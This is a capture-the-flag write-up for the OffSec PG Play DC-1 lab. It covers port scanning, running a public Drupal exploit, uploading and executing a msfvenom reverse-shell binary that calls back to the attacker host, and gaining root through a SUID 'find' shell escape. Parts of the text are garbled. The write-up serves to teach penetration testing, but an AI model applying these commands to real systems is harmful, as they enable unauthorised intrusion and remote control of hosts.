

tags: Offsec PG Play Easy Linux # DC-1

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.211.193 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.211.193:22
Open 192.168.211.193:80
Open 192.168.211.193:111
Open 192.168.211.193:40238

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.2.22 ((Debian))
|_ http-generator: Drupal 7 (http://drupal.org)
|_ http-robots.txt: 36 disallowed entries
|_ /includes/ /misc/ /modules/ /profiles/ /scripts/
|_ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
|_ /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_ /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php
|_ /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/
|_ /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/
|_ /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/
|_ /?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
|_ http-title: Welcome to Drupal Site | Drupal Site
|_ http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC
|_ http-server-header: Apache/2.2.22 (Debian)
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
111/tcp   open  rpcbind syn-ack 2-4 (RPC #100000)
|_ rpcinfo:
|_   program version  port/proto  service
|_   100000  2,3,4      111/tcp    rpcbind
|_   100000  2,3,4      111/udp    rpcbind
|_   100000  3,4        111/tcp6   rpcbind
|_   100000  3,4        111/udp6   rpcbind
|_   100024  1          35685/udp6 status
|_   100024  1          40238/tcp  status
|_   100024  1          56691/udp  status
|_   100024  1          58362/tcp6 status
40238/tcp open  status  syn-ack 1 (RPC #100024)
```searchsploitfindDrupal's, find has [edb-44449] (https://www.exploit-db.com/exploits/44449) can use
```

```
(kali㉿kali)-[~/pgplay]
└─$ searchsploit -m 44449
```

```
(kali㉿kali)-[~/pgplay]
└─$ sudo gem install highline
```

```
(kali㉿kali)-[~/pgplay]
└─$ ruby 44449.rb 192.168.211.193
```

DC-1>>

```
(kali㉿kali)-[~/pgplay]
└─$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.223 LPORT=9001 -f elf > shell_9001
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001
```

DC-1>> wget 192.168.45.223/shell\_9001

DC-1>> chmod 755 shell\_9001

DC-1>> ./shell\_9001

cat local.txt

75c0eb217d6c430df980febe12b51851

``` /var/wwwhas flag1.txt

```
cat flag1.txt
Every good CMS needs a config file - and so do you.
``` There is flag4.txt in the `/home` directory
```

```
cat flag4.txt
```

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

---

```
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
```

---

```
find . -exec /bin/sh ; -quit
cd /root
ls
proof.txt
thefinalflag.txt
cat proof.txt
d6356309e5fa7c33256d440fd09bcc7b
```

```
cat thefinalflag.txt
Well done!!!!
```

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

---